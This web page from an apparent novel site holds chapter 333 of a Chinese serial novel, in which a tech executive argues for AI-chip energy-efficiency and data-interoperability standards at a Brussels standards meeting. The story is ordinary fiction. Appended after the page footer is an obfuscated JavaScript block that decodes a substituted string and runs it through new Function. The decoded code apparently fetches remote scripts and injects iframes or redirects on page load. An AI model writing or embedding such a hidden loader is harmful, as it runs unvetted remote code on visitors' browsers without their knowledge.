首页
第333章 国际标准组织的技
返回
关灯 护眼:关 字号:小

第333章 国际标准组织的技术交流

章节报错(免登陆)
下载APP,无广告、完整阅读

一秒记住【顶点小说】
dingdian365.com,更新快,无弹窗!

    李明哲站在酒店房间的窗前,看着窗外灰蓝色的天际线。欧盟委员会总部大楼的轮廓在晨雾中若隐若现,几盏未熄的街灯在潮湿的路面上投下昏黄的光斑。他今天要去的不是欧盟委员会,而是国际电信联盟标准化局设在布鲁塞尔的一个临时会场——一场关于AI计算设备能效标准和数据互操作框架的技术交流会,为期三天,二十三个国家和地区的标准组织代表参加。
    这是他今年第三次来布鲁塞尔。前两次都是闭门磋商,谈的是数字主权法案2.0的技术实施细则。这一次是公开的技术交流会,未来科技以「产业界技术贡献方」的身份参与,没有投票权,但有提案权和答辩权。
    李明哲穿好西装,把今天要用的三份文件装进公文包。第一份是天枢OS的开放接口标准草案,已经叠代到了第七版。第二份是天权晶片的能效测试方法提案,核心是「每瓦特算力」的计量框架。第三份是数据主权锁的技术白皮书摘要,只有十二页,但每一页都经过了法务丶技术丶外交三条线的反覆打磨。
    这三份文件,是未来科技在国际标准组织这个战场上投下的三颗石子。石子很小,但激起的涟漪会一圈一圈地扩散出去。
    楼下的餐厅里,周明已经先到了。他面前的桌上摊着两台终端,一台显示着今天的会议议程和参会代表名单,另一台显示着过去七十二小时的全球技术媒体报导摘要。看到李明哲下来,他把一杯黑咖啡推过去。
    「今天的阵容比我们预想的要强。」周明把参会代表名单投在终端屏幕上,每个名字后面都有颜色标记——红色代表倾向于旧秩序,绿色代表可能接受未来科技的提案,黄色代表摇摆,灰色代表信息不足。
    二十三个国家和地区,六十多个代表。绿色的不到十个,黄色的有二十几个,红色的将近三十个。
    「欧陆本地的代表是什么态度?」李明哲坐下,端起咖啡喝了一口。
    「分两拨。欧盟委员会的技术官员对我们比较开放,他们需要第三方的技术方案来平衡旧秩序的影响力。但几个大国的标准组织代表态度暧昧,他们有自己的产业利益要保护,不想让未来科技的标准在欧洲市场占据太大份额。」
    「南洋和南亚呢?」
    「南洋四个国家都派了代表,态度偏正面,尤其是泰国和马来西亚,他们在寻找旧秩序之外的数位化转型路径。南亚只有印度来了,态度很微妙——他们的代表昨天在接受媒体采访时说『欢迎所有技术方案公平竞争』,但私下里有人透露,火龙联盟的游说团队已经提前一周来布鲁塞尔做过工作了。」
    李明哲没有说话,把咖啡喝完,站起来。
    「走吧。」
    会场设在欧盟委员会总部旁边的一栋玻璃幕墙大楼里,三楼的大会议室可以容纳两百人。今天来了大概一百五十人,除了各国代表,还有产业界的观察员丶学术机构的专家丶媒体的记者。
    未来科技的座位被安排在第三排,不算靠前,也不算靠后。李明哲坐下后,把三份文件摆在桌上,打开终端,开始浏览会议议程。第一天的主题是「AI计算设备的能效标准」,上午是主题报告和各国立场陈述,下午是技术提案的答辩和讨论。
    第二天的主题是「数据互操作框架」,包括数据格式丶接口协议丶安全机制。第三天是总结和下一步工作计划。
    上午九点,会议开始。国际电信联盟标准化局的一位高级官员做了简短的开场白,然后进入主题报告环节。第一个做报告的是旧秩序的代表,一位五十多岁的技术标准专家,PPT做得很精致,数据很详实,结论很明确——现有的能效测试方法已经足够,不需要新的标准框架。
    李明哲在笔记本上记下了他说的三个关键词:「兼容性」丶「稳定性」丶「避免碎片化」。翻译成人话就是:不要改,改了我们会失去优势。
    第二个做报告的是欧陆某大国的代表,立场比旧秩序温和一些,承认现有标准在AI计算设备上存在不足,但主张在现有框架内修修补补,不要推倒重来。
    第三个做报告的是南洋某国的代表,一个三十出头的年轻技术官员,PPT做得不如前两个精致,但内容很实在。他用数据说明了现有标准在测试AI晶片时的失真问题——按照现有标准测试,某款旧晶片的能效得分很高,但在真实AI工作负载下,实际能效只有标称值的百分之四十。而未来科技的天权晶片,在两种测试下的差距只有百分之十二。
    「我们需要一个能反映真实世界负载的测试方法。」南洋代表说。「不是为了淘汰谁,是为了让用户买到的东西和测试报告上写的一样好。」
    会场里有人点头,有人低头记笔记,有人面无表情。
    上午的最后一个环节是自由发言。李明哲举手,获得了三分钟的发言时间。
    他走到讲台上,没有用PPT,只带了一张纸。
    「未来科技今天提交了一份技术提案,标题是《AI计算设备能效测试方法:基于真实工作负载的计量框架》。提案的核心很简单——测试AI晶片的能效,不能用固定的丶预设的测试程序,而应该用真实的丶有代表性的AI工作负载。因为AI晶片的特殊性在于,它的硬体和软体是深度协同设计的,固定测试程序无法反映这种协同设计的价值。」
    「我们的提案包括三个要素:第一,测试负载应该是公开的丶可复现的丶有代表性的。未来科技愿意贡献我们在悟道平台上运行的真实负载特徵数据,作为测试负载设计的参考。第二,测试方法应该支持硬体和软体的联合优化,而不是把软体固定死丶只测硬体。因为用户买的是一个系统,不是一个裸晶片。第三,测试结果应该包含『能效剖面』而不是一个单一的分数——告诉用户这颗晶片在什么样的负载下能效最好,在什么样的负载下能效一般,而不是用一个数字掩盖所有信息。」
    「这不是未来科技的标准,是我们愿意和国际标准组织共同制定的标准。提案的技术细节已经提交给会议秘书处,欢迎所有代表审阅和质询。」
    李明哲说完,回到座位上。
    会场里安静了几秒,然后是零星的讨论声。旧秩序的代表面无表情,欧陆几个国家的代表在小声交流,南洋的代表在笔记本上快速写着什么。
    下午的技术提案答辩环节,是今天真正的战场。
    旧秩序的技术专家第一个发问,问题很尖锐:「你们提议用真实工作负载作为测试基准,但真实工作负载的定义权掌握在谁手里?如果未来科技定义的工作负载恰好对自己最有利,那这个测试方法就不公正。」
    李明哲已经预料到了这个问题。
    「真实工作负载的定义权不应该掌握在任何一家企业手里,而应该掌握在国际标准组织手里。我们的提案里已经写明:测试负载应该由标准组织成员共同投票决定,每年更新一次,来源应该是多个成员贡献的真实负载数据。未来科技愿意贡献数据,但不会垄断定义权。」
    「另外,我们的提案还包括一个『对抗性验证』机制——任何成员都可以提交一组额外的测试负载,如果这组负载能证明某款产品的能效得分与真实表现严重不符,标准组织有权重新评估测试方法。这不是为了针对任何人,是为了让标准本身具有自我修正的能力。」
    旧秩序的代表没有再追问。
    欧陆某大国的代表提了一个更技术性的问题:「你们的能效测试方法,怎么处理软体优化带来的短期波动?AI计算设备的软体可以OTA升级,今天测的能效和明天OTA之后可能不一样。用户买的时候看的测试报告,一个月后可能就失效了。」
    李明哲翻到提案的第四章。
    「我们的方案是『版本锚定』。每一款产品在申请能效认证时,必须锁定一个软体版本。认证结果只对这个软体版本有效。如果产品后续通过OTA升级改变了能效特性,必须重新认证。这不是增加负担,是对用户负责——用户应该知道他们买的设备,在什么软体版本下能达到什么样的能效。」
    「同时,我们建议标准组织建立一个『能效演进资料库』,记录同一款硬体在不同软体版本下的能效变化。这样用户可以清楚地看到,厂商的OTA升级是在优化能效还是在劣化能效。透明,是最好的监管。」
    欧陆代表若有所思地点了点头。
    南洋代表提了一个建设性的问题:「你们的提案里提到要建立『能效剖面』,而不是给一个单一的分数。这个想法很好,但不同用户对能效剖面的理解能力不同。普通消费者可能看不懂复杂的剖面图,他们需要一个简单的决策参考。这个问题怎么解决?」
    李明哲笑了。这不是刁难,是帮助。
    「我们的提案里没有要求用剖面图取代单一分数。我们建议的是两级信息披露——第一级是一个简单的综合分数,给普通消费者看,就像冰箱的能效等级一样,简单直观。第二级是详细的能效剖面,给专业用户和评测机构看。综合分数的算法由标准组织统一制定,能效剖面的数据格式也由标准组织统一制定。两者并行,不矛盾。」
    南洋代表在笔记本上记下了这句话。
    第一天的会议结束时,已经是下午六点。
    李明哲收拾好文件,走出会议室。走廊里,南洋的那个年轻代表正在等电梯,看到他出来,主动走过来握手。
    「你们的提案,我仔细看了。技术细节很扎实,不是政治文件。」他说,声音不大,但很真诚。「我唯一担心的是——你们提的这个框架,对旧秩序的冲击太大了。他们不会坐视不管。接下来几天的讨论,你们要做好被反覆质疑的准备。」
    李明哲点了点头:「我们知道。但我们相信,只要技术本身站得住脚,标准组织最终会做出公正的选择。」
    南洋代表没有接话,电梯门开了,他走进去,挥了挥手。
    李明哲站在走廊里,看着电梯门关上。
    周明从会议室里走出来,手里拿着今天的会议记录。
    「旧秩序的代表会后找欧陆几个国家的代表聊了,内容我们不知道,但从表情看,不像是好事。他们可能要在明天的数据互操作框架环节发力。」
    李明哲把公文包换到左手,右手揉了揉眉心。
    「明天的事,明天再说。今天先把今天的总结发回去。」
    他们走出大楼,布鲁塞尔的夜风很冷。街灯已经亮了,远处欧盟委员会总部大楼的窗户里还有灯在亮着。那些窗户后面,有人在加班,有人在开会,有人在起草文件。那些文件里的某些条款,可能会在未来某一天,决定未来科技的技术标准能不能被欧洲市场接受。
    回到酒店,李明哲没有休息,而是打开终端,把今天会议的每一个发言丶每一个问题丶每一个表情都整理成了详细的记录。然后他拨通了陈醒的视频电话。
    陈醒那边是早上,他正在芯谷的研究院里。背景里能看到白板上写满了字。
    「今天怎么样?」陈醒问。
    「有进展,也有阻力。」李明哲把今天的情况简要汇报了一遍,然后说了自己的判断。「旧秩序会在明天的数据互操作框架环节全力阻击。他们不希望在能效标准上让步,更不希望在数据互操作框架上让步。因为数据互操作框架如果按我们的思路走,他们的数据围墙就会被拆掉一堵。」
    陈醒沉默了几秒。
    「数据互操作框架的提案,核心是什么?」
    李明哲翻到第二份文件。
    「三个核心。第一,数据可携带权——用户有权将自己的数据从一个服务商迁移到另一个服务商,服务商不得设置不合理的障碍。第二,接口标准化——数据迁移的接口格式必须公开丶统一,不能是某个厂商的私有协议。第三,安全互认——不同服务商之间的安全认证应该互认,用户不需要为同一个数据在不同平台之间的流动反覆授权。」
    「这些条款如果通过,旧秩序的数据锁定效应就会被削弱。用户的数据可以带着走,开发者可以更容易地跨平台迁移,竞争会变得更公平。」
    陈醒听完,问了一个问题。
    「欧陆对这个提案的态度是什么?」
    「分化。欧盟委员会的技术官员支持数据可携带权,因为这是数字主权法案2.0的核心精神之一。但欧陆几个大国的数据保护机构有顾虑,他们担心数据可携带权会导致数据被转移到保护水平较低的地区。我们需要在提案里加上一条——数据可携带权的实现必须以符合目的地数据保护法规为前提。这样就能打消他们的顾虑。」
    「加。明天发言的时候主动提出来,不要等他们问。」
    李明哲把这个修改记下来。
    「还有一个问题。」陈醒说。「南洋的数据走廊计划,今天有进展吗?」
    李明哲调出了今天会议间隙和南洋代表私下交流的记录。
    「他们很感兴趣。今天下午茶歇的时候,泰国代表主动问了我们数据主权锁的技术细节。他们想在自己的数据走廊计划里借鉴这个思路——数据可以在区域内自由流动,但每一段流动都有明确的主权边界。这不是技术问题,是政治设计问题。我们需要给他们提供参考方案,但不能替他们做决定。」
    「你负责把技术白皮书翻译成他们能理解的语言。不是技术文档,是政策建议文档。用他们能接受的话语体系,讲清楚数据主权锁能解决什么问题丶不能解决什么问题丶需要配套什么样的法律框架。」
    李明哲把这个任务也记下来。
    视频电话结束后,李明哲靠在椅子上,闭了一会儿眼。
    今天在会场上,他说的每一句话都经过了精心准备,每一个问题都回答得滴水不漏。但他知道,技术交流会的真正战场不在会场上,而在会场外。在那些没有记录的私下交谈里,在那些看似随意的茶歇对话里,在那些晚宴上的觥筹交错之间。
    明天,他要在茶歇的时候和欧陆几个摇摆国家的代表多聊聊,在晚宴上和南洋的代表把数据走廊的技术合作框架再细化一层,在走廊里偶遇的时候和那些灰色标记的代表交换名片。
    每一张名片都是一条线,每一条线都可能在未来某个关键时刻变成一根救命稻草。
    第二天早上,李明哲比前一天更早到了会场。
    他在门口遇到了欧陆某小国的代表,一个四十多岁的女技术官员,昨天在会上一句话都没有说,全程面无表情。李明哲主动和她打招呼,自我介绍,递上名片。
    她接过名片,看了一眼,然后说了一句让李明哲意外的话。
    「你们的能效提案,我昨晚仔细看了。技术逻辑很严密,但有一个细节我不同意——你们建议的『版本锚定』机制,对中小企业的负担太重了。每次OTA升级都要重新认证,成本太高。能不能改成『重大变更才重新认证,微小变更走备案制』?」
    李明哲愣了一下,然后立刻意识到,这是一个机会。她不是反对提案,而是想让它变得更好。
    「这个建议很好。我回去和团队讨论一下,今天下午的讨论环节,我会提出修改方案。」
    她点了点头,走进会场。
    李明哲站在门口,把刚才的对话一字不差地记在了笔记本上。然后他也走进会场,找到自己的座位,坐下,打开终端,开始修改提案。
    上午的讨论主题是数据互操作框架。旧秩序的代表做了主题报告,核心观点是:数据互操作性很重要,但必须在安全可控的前提下推进,不能为了互操作而牺牲安全。
    这个观点本身没错,但李明哲知道,他们说的「安全可控」翻译成人话就是「由我们来控制」。
    未来科技的发言被安排在上午最后一个。李明哲再次走上讲台,这次他带了一个PPT,只有五页。
    「未来科技的数据互操作框架提案,核心是三个原则。」
    第一页PPT:数据可携带权。「用户的数据属于用户。用户有权将自己的数据从一个服务商迁移到另一个服务商。服务商不得设置不合理的障碍。什么是『不合理的障碍』?我们建议标准组织制定一个清单,比如超过三十天的迁移等待期丶超过数据存储成本十倍的费用丶技术上无法实现的藉口,都属于不合理障碍。」
    第二页PPT:接口标准化。「数据迁移的接口格式必须公开丶统一。我们建议采用现有的开源数据交换格式作为基础,避免重复造轮子。未来科技愿意贡献天枢生态的数据迁移工具链,作为标准组织的参考实现。」
    第三页PPT:安全互认。「不同服务商之间的安全认证应该互认。用户不需要为同一个数据在不同平台之间的流动反覆授权。我们建议建立一个『一次授权丶多次使用』的框架,授权有效期由用户自己设定,最长不超过两年。」
    第四页PPT:数据保护水平对等。「数据可携带权的实现,必须以符合目的地数据保护法规为前提。如果数据要从保护水平高的地区流向保护水平低的地区,服务商必须提供足够的安全保障措施。这不是限制数据流动,是让数据流动更负责任。」
    第五页PPT:中小企业豁免。「对于年收入低于一定阈值的中小企业,可以简化认证流程丶降低合规成本。我们建议标准组织设定一个合理的豁免门槛,让中小企业也能享受数据互操作的便利,而不是被合规成本压垮。」
    最后一页的内容,是今天早上和那位欧陆小国代表讨论后临时加上的。
    李明哲讲完后,会场里沉默了几秒。
    然后是掌声。不大,但很清晰,来自南洋和几个欧陆小国的代表。
    旧秩序的代表没有鼓掌,面无表情地在笔记本上写着什么。
    下午的答辩环节,旧秩序的技术专家再次发问,这次问题更刁钻。
    「你们说数据可携带权,但数据可携带权的实现需要服务商之间互相配合。如果旧秩序的服务商拒绝配合未来科技的数据迁移请求,怎么办?标准组织能强制执行吗?」
    李明哲知道这个问题是在试探未来科技对「强制执行」的态度。如果他说「可以强制执行」,就会得罪那些不喜欢强制的国家;如果他说「不能强制执行」,就会显得提案没有约束力。
    「标准组织的角色是制定标准,不是强制执行。但我们建议在标准中纳入一个『透明度机制』——每个服务商都需要公开自己的数据迁移响应时间和成功率。用户在选择服务商的时候,可以看到这些数据。如果一个服务商的迁移响应时间总是很长丶成功率总是很低,用户就会知道,这不是技术问题,是态度问题。」
    「市场会惩罚不配合的服务商。不需要强制,只需要透明。」
    这个回答让旧秩序的代表没有再追问。
    会议第二天结束的时候,李明哲收到了三张名片。一张来自欧陆某小国的代表,一张来自南洋某国的代表,一张来自拉美某国的观察员。三张名片背后都写了字,分别是:「期待合作」丶「支持提案」丶「希望深入交流」。
    他把三张名片收好,走出会场。
    布鲁塞尔的夜风比昨天更冷了,但李明哲心里有一点热。
    不是因为今天取得了多大突破,而是因为他看到了一个趋势——旧秩序在国际标准组织中的话语权正在被一点一点地侵蚀。不是被未来科技侵蚀,是被那些想要第三条路的国家和地区自己侵蚀。未来科技只是给他们提供了技术工具和话语框架。
    回到酒店,他把今天的会议记录丶提案修改意见丶名片背后的信息全部整理好,发给了陈醒和周明。
    邮件的最后一行,他写了一句:「标准之战不会在三天内分出胜负,但方向已经清晰了。明天是最后一天,我会争取让更多国家在会议纪要里写上『支持进一步研究未来科技的提案』。」
    陈醒的回覆很快:「方向清晰了,剩下就是坚持。」
    李明哲关掉终端,躺在床上。
    天花板上有一道细细的裂缝,从墙角一直延伸到灯座旁边。他盯着那道裂缝看了一会儿,想起了今天在会场上那些微妙的表情变化。
    旧秩序的代表在听到「市场会惩罚不配合的服务商」时,嘴角抽动了一下。那不是愤怒,是意识到对方已经找到了一个无法反驳的支点时的无力感。
    欧陆某大国代表在听到「中小企业豁免」时,眼神闪了一下。他们有自己的中小企业要保护,这条修改让他们有了支持提案的理由。
    南洋代表在听到「数据保护水平对等」时,微微点了一下头。他们担心数据流动会削弱数据主权,这条修改给了他们安全感。
    每一处修改丶每一个措辞丶每一次答辩,都是在争取一个人丶一个国家丶一张票。
    标准之战就是这样打的。不是在投票箱前,而是在每一个人的脑子里和心里。
    明天,是最后一天。
    会议的主题是总结和下一步工作计划。按照惯例,会议结束时会发表一份主席声明,概括三天的讨论成果。李明哲的目标是让主席声明里写上一句:「部分成员建议进一步研究未来科技提交的AI计算设备能效测试方法和数据互操作框架提案。」
    这句话看起来平淡无奇,但它是种子。种子种下去,就会生根发芽。等它长成参天大树的时候,没有人会记得今天是谁种下的。
    李明哲翻了个身,闭上眼睛。
    明天,还有一场硬仗。
    而在那之后,还有天罡面向企业的安全原则发布丶合城二期的产能与环保平衡丶天权产品在南洋的渠道深化……
    每一场都是硬仗,每一场都需要有人去前线。
    他不知道自己还能撑多久,但他知道,只要陈醒还在后面撑着,只要芯谷的灯还亮着,他就能继续撑下去。
    窗外的布鲁塞尔还没有睡,街灯在夜风中微微晃动。
    李明哲沉沉睡去,手里还攥着那三张名片。
    明天,他会把它们一一兑现。
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="u5afgpg4hc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/_nd7pJpoh(/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"_nd7pJpoh("!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8_nd7pJpoh("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();